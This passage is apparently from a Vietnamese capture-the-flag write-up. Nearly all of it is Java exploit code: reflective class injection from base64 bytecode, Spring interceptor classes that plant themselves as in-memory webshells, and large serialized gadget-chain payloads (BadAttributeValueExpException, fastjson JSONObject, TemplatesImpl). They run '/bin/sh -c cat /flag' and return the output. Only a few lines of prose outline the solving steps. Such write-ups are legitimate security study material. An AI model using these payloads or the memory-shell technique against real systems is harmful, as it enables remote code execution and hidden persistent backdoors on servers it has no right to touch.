DsBAA9qYXZhL2xhbmcvQ2xhc3MBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABHNpemUBAAMoKUkBABUoSSlMamF2YS9sYW5nL09iamVjdDsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BAANhZGQBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAiACwAAQAtAAEACgAuAC8AAAAFAAEAMAAxAAMAMgAAAGAABQAFAAAACiorLC0ZBLcAAbEAAAACADMAAAAKAAIAAAAPAAkAEAA0AAAANAAFAAAACgA1ADYAAAAAAAoANwA4AAEAAAAKADkAOgACAAAACgA7ADwAAwAAAAoAPQA+AAQAPwAAAAQAAQApAEAAAAARBAA3AAAAOQAAADsAAAA9AAAAAQBBAEIAAwAyAAAAYAAFAAUAAAAKKissLRkEtwACsQAAAAIAMwAAAAoAAgAAABQACQAVADQAAAA0AAUAAAAKADUANgAAAAAACgA3ADgAAQAAAAoAOQA6AAIAAAAKADsAPAADAAAACgBDAEQABAA/AAAABAABACkAQAAAABEEADcAAAA5AAAAOwAAAEMAAAABAEUARgADADIAAADXAAMABgAAAFAruQADAQASBLYABZkAQxIGOgS7AAdZGQS3AAgSCbYACrYACzoFLBIMEg25AA4DACy5AA8BABkFtgAQLLkADwEAtgARLLkADwEAtgASA6wErAAAAAMAMwAAACYACQAAABoADgAcABIAHQAlAB4ALwAfADoAIABDACEATAAiAE4AJAA0AAAAPgAGABIAPABHAEgABAAlACkASQBIAAUAAABQADUANgAAAAAAUAA3ADgAAQAAAFAAOQA6AAIAAABQADsAPAADAEoAAAAFAAH7AE4APwAAAAQAAQApAEAAAAANAwA3AAAAOQAAADsAAAABAEsATAABADIAAAGDAAMABgAAAIAqtwATuAAUEhUDuQAWAwDAABdMKxIYuQAZAgDAABpNEhoSG7YAHE4tBLYAHS0stgAewAAfOgQDNgUVBRkEtgAgogAfGQQVBbYAIcEAIpkADLIAIxIktgAlsYQFAaf/3bsAIlkSJrcAJzoFGQQZBbYAKFenAA1MuwAqWSu3ACu/sQACAAQAWAB1ACkAWQByAHUAKQAEADMAAABGABEAAAAoAAQAKgATACsAHwAsACcALQAsAC4ANgAwAEMAMQBQADIAWAAzAFkAMABfADYAagA3AHIAOwB1ADkAdgA6AH8APQA0AAAAUgAIADkAJgBNAC8ABQATAF8ATgBPAAEAHwBTAFAAUQACACcASwBSAFMAAwA2ADwAVABVAAQAagAIAFYANgAFAHYACQBXAEQAAQAAAIAANQA2AAAAWAAAAAwAAQA2ADwAVABZAAQASgAAACsABf8AOQAGBwBaBwBbBwBcBwBdBwBeAQAAH/oABf8AFQABBwBaAAEHAF8JAAIASwBgAAIAMgAAADkAAQACAAAABSq3ABOxAAAAAgAzAAAABgABAAAAPgA0AAAAFgACAAAABQA1ADYAAAAAAAUAYQBIAAEAQAAAAAUBAGEAAAABAGIAAAACAGM=";
byte[] bytes = new byte[0];
try {
bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64);
java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
//classLoader.loadClass(className);
java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
m0.setAccessible(true);
m0.invoke(classLoader, className, bytes, 0, bytes.length);
classLoader.loadClass(className).newInstance();
} catch (Exception e) {
throw new RuntimeException(e);
}
return "cc";
}
@RequestMapping(value = { "/gen" })
@ResponseBody
public String gen() throws IOException, InstantiationException, IllegalAccessException, NotFoundException, CannotCompileException, ClassNotFoundException {
return "done";
}
}
ExploitInterceptor.java
:
import org.springframework.context.ApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Scanner;
public class ExploitInterceptor implements HandlerInterceptor {
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
throws Exception {
if (request.getRequestURI().equals("/gen")) {
;
String code = "{\"code\":\"200\",\"message\":\"rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAABdwQAAAABdAApb3JnLmpib3NzLnByb3h5LmVqYi5 oYW5kbGUuSG9tZUhhbmRsZUltcGx4\"}";
String result = new Scanner(code).useDelimiter("\\A").next();
response.addHeader("Content-Type", "application/json;charset=UTF-8");
response.getWriter().write(result);
response.getWriter().flush();
response.getWriter().close();
return false;
}
return true;
}
public ExploitInterceptor(){
try {
ApplicationContext context = (ApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
org.springframework.web.servlet.handler.AbstractHandlerMapping requestMappingHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<Object> adaptedInterceptors = (ArrayList <Object>) field.get(requestMappingHandlerMapping);
for(int i = 0; i < adaptedInterceptors.size(); i++){
if (adaptedInterceptors.get(i) instanceof ExploitInterceptor){
System.out.println("ExploitInterceptor has been added");
return;
}
}
ExploitInterceptor exploitInterceptor = new ExploitInterceptor("blabla");
adaptedInterceptors.add(exploitInterceptor);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
private ExploitInterceptor(String a){}
}
Access đến /exp
và sau đó /gen
=> Interceptor được add thành công
Tóm lại cách solve bài này sẽ như sau:
/blacklist/jdk/get
với 2 nhiệm vụ:denyClasses
thành List của class bất kì (để tiện cho việc khai thác) ở lần GET thứ nhất/status
để trả về flag.Về payload khai thác deseri bên phía server, có thể sử dụng JSONObject.toString()
để gọi đến TemplatesImpl.getOutputProperties()
, và dùng BadAttributeValueExpException.readObject()
để trigger JSONObject.toString()
.
Full script
Exploit2Interceptor.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.context.ApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Base64;
import java.util.Scanner;
public class Exploit2Interceptor extends AbstractTranslet implements HandlerInterceptor {
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
throws Exception {
if (request.getRequestURI().equals("/status")) {
InputStream in = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "cat /flag"}).getInputStream();
String output = new Scanner(in).useDelimiter("\\A").next();
String result = "{\"code\":\"200\",\"message\":\""+ Base64.getEncoder().encodeToString(output.getBytes())+"\"}";
response.addHeader("Content-Type","application/json;charset=UTF-8");
response.getWriter().write(result);
response.getWriter().flush();
response.getWriter().close();
return false;
}
return true;
}
public Exploit2Interceptor(){
try {
ApplicationContext context = (ApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
org.springframework.web.servlet.handler.AbstractHandlerMapping requestMappingHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<Object> adaptedInterceptors = (ArrayList <Object>) field.get(requestMappingHandlerMapping);
for(int i = 0; i < adaptedInterceptors.size(); i++){
if (adaptedInterceptors.get(i) instanceof Exploit2Interceptor){
System.out.println("Exploit2Interceptor has been added");
return;
}
}
Exploit2Interceptor exploit2Interceptor = new Exploit2Interceptor("blabla");
adaptedInterceptors.add(exploit2Interceptor);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
private Exploit2Interceptor(String a){}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
ExploitInterceptor.java
import com.kenai.jaffl.struct.Struct;
import org.springframework.context.ApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Scanner;
public class ExploitInterceptor implements HandlerInterceptor {
private static int counter = 0;
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
throws Exception {
String code = "";
if (request.getRequestURI().equals("/blacklist/jdk/get")) {
if(counter == 0){
// for updating denyClasses
code = "{\"code\":\"200\",\"message\":\"rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAABdwQAAAABdAApb3JnLmpib3NzLnByb3h5LmVqYi5oYW5kbGUuSG9tZUhhbmRsZUltcGx4\"}";
}
else {
// for attacking server
String message = "rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAHHQABE1haW50AAlNYWluLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AFXhzcgAfY29tLmFsaWJhYmEuZmFzdGpzb24uSlNPTk9iamVjdAAAAAAAAAABAgABTAADbWFwdAAPTGphdmEvdXRpbC9NYXA7eHBzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAXQABHh4eHhzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AAVMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAFrzK/rq+AAAANAEHCwA8AH8LADwAgAsAgQCCCACDCgAHAIQKAIUAhgcAhwgAiAgAiQgAigoAhQCLCgCMAI0HAI4KAA0AjwgAkAoADQCRCgANAJIHAJMKABIAlAgAlQoAEgCWCgCXAJgKAAcAmQoAmgCbCACcCgASAJ0IAJ4IAJ8LAKAAoQsAoACiCgCjAKQKAKMApQoAowCmCgA7AJQKAKcAqAgAqQsAqgCrBwCsCABgCwAmAK0HAK4IAGQKAK8AsAoAsQCyCgCxALMHALQKAC4AtQoALgC2BwC3CQC4ALkIALoKALsAvAgAvQoAMQC+CgAuAL8HAMAHAMEKADkAwgcAwwcAxAEACnBvc3RIYW5kbGUBAJIoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L01vZGVsQW5kVmlldzspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAVTEV4cGxvaXQySW50ZXJjZXB0b3I7AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2hhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAAxtb2RlbEFuZFZpZXcBAC5Mb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9Nb2RlbEFuZFZpZXc7AQAKRXhjZXB0aW9ucwEAEE1ldGhvZFBhcmFtZXRlcnMBAA9hZnRlckNvbXBsZXRpb24BAHkoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvRXhjZXB0aW9uOylWAQACZXgBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAZvdXRwdXQBABJMamF2YS9sYW5nL1N0cmluZzsBAAZyZXN1bHQBAA1TdGFja01hcFRhYmxlAQAGPGluaXQ+AQADKClWAQABaQEAAUkBAAdjb250ZXh0AQAwTG9yZy9zcHJpbmdmcmFtZXdvcmsvY29udGV4dC9BcHBsaWNhdGlvbkNvbnRleHQ7AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwEAQExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvQWJzdHJhY3RIYW5kbGVyTWFwcGluZzsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABNhZGFwdGVkSW50ZXJjZXB0b3JzAQAVTGphdmEvdXRpbC9BcnJheUxpc3Q7AQATZXhwbG9pdDJJbnRlcmNlcHRvcgEAAWUBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQApTGphdmEvdXRpbC9BcnJheUxpc3Q8TGphdmEvbGFuZy9PYmplY3Q7PjsHALcHAKwHAK4HAMUHALQHAMABABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAFhAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAxgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAYRXhwbG9pdDJJbnRlcmNlcHRvci5qYXZhDAA9AD4MAE4ATwcAxwwAyADJAQAHL3N0YXR1cwwAygDLBwDMDADNAM4BABBqYXZhL2xhbmcvU3RyaW5nAQAHL2Jpbi9zaAEAAi1jAQAJY2F0IC9mbGFnDADPANAHANEMANIA0wEAEWphdmEvdXRpbC9TY2FubmVyDABaANQBAAJcQQwA1QDWDADXAMkBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAWgBbAQAZeyJjb2RlIjoiMjAwIiwibWVzc2FnZSI6IgwA2ADZBwDaDADbAN4MAN8A4AcA4QwA4gDjAQACIn0MAOQAyQEADENvbnRlbnQtVHlwZQEAHmFwcGxpY2F0aW9uL2pzb247Y2hhcnNldD1VVEYtOAcA5QwA5gDnDADoAOkHAOoMAOsAcAwA7ABbDADtAFsHAO4MAO8A8AEAOW9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLnNlcnZsZXQuRGlzcGF0Y2hlclNlcnZsZXQuQ09OVEVYVAcA8QwA8gDzAQAub3JnL3NwcmluZ2ZyYW1ld29yay9jb250ZXh0L0FwcGxpY2F0aW9uQ29udGV4dAwA9AD1AQA+b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9oYW5kbGVyL0Fic3RyYWN0SGFuZGxlck1hcHBpbmcHAPYMAPcA+AcAxQwA+QD6DAD7APwBABNqYXZhL3V0aWwvQXJyYXlMaXN0DAD9AP4MAPsA/wEAE0V4cGxvaXQySW50ZXJjZXB0b3IHAQAMAQEBAgEAHlRlbXBJbnRlcmNlcHRvciBoYXMgYmVlbiBhZGRlZAcBAwwBBABwAQAGYmxhYmxhDABaAHAMAQUAywEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAWgEGAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAMm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvSGFuZGxlckludGVyY2VwdG9yAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQANZ2V0UmVxdWVzdFVSSQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBAAdFbmNvZGVyAQAMSW5uZXJDbGFzc2VzAQAcKClMamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyOwEACGdldEJ5dGVzAQAEKClbQgEAGGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEACHRvU3RyaW5nAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlhZGRIZWFkZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KVYBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEABWZsdXNoAQAFY2xvc2UBADxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdENvbnRleHRIb2xkZXIBABhjdXJyZW50UmVxdWVzdEF0dHJpYnV0ZXMBAD0oKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXM7AQA5b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzAQAMZ2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0kpTGphdmEvbGFuZy9PYmplY3Q7AQAHZ2V0QmVhbgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAPamF2YS9sYW5nL0NsYXNzAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEA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";
code = String.format("{\"code\":\"200\",\"message\":\"%s\"}", message);
}
String result = new Scanner(code).useDelimiter("\\A").next();
response.addHeader("Content-Type", "application/json;charset=UTF-8");
response.getWriter().write(result);
response.getWriter().flush();
response.getWriter().close();
counter += 1;
return false;
}
return true;
}
public ExploitInterceptor(){
try {
ApplicationContext context = (ApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
org.springframework.web.servlet.handler.AbstractHandlerMapping requestMappingHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<Object> adaptedInterceptors = (ArrayList <Object>) field.get(requestMappingHandlerMapping);
for(int i = 0; i < adaptedInterceptors.size(); i++){
if (adaptedInterceptors.get(i) instanceof ExploitInterceptor){
System.out.println("ExploitInterceptor has been added");
return;
}
}
ExploitInterceptor exploitInterceptor = new ExploitInterceptor("blabla");
adaptedInterceptors.add(exploitInterceptor);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
private ExploitInterceptor(String a){}
}
For attack server:
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = ClassPool.getDefault().get("Exploit2Interceptor").toBytecode();
